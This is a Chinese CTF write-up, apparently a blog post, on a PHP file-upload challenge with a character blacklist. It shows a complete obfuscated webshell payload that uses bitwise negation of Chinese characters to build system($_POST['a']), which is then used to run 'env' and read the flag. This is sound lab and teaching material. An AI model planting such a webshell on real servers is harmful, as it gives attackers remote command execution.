不用多说,文件上传,打开环境
![](https://img-blog.csdnimg.cn/img_convert/5a827e9cf8b24251aeaf709785f75bac.png)
只有一个主界面和文件上传界面
![](https://img-blog.csdnimg.cn/img_convert/4e4eedf0c3494305831a5287e665b447.png)
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}
没写禁止哪些参数,fuzz一下
![](https://img-blog.csdnimg.cn/img_convert/cceb1b0b855c47a5ad7c59ee5f810ce1.png)
发现~可以利用
使用的是位运算里的“取反”。
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
构造payload为
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
修改文件内容为以上代码
![](https://img-blog.csdnimg.cn/img_convert/90c9b00933014e3db000329fa089878e.png)
查看上传上去的文件,发现可解析
![](https://img-blog.csdnimg.cn/img_convert/5e291f4e288e4ae9bc8beb0ceb6cbb2c.png)
对a参数传参env
![](https://img-blog.csdnimg.cn/img_convert/8db78c1b5b9e4267af7c2bd093250b00.png)
得到flag
flag{49d1b01a-8bd2-462e-bcdb-e50a5498a5f1}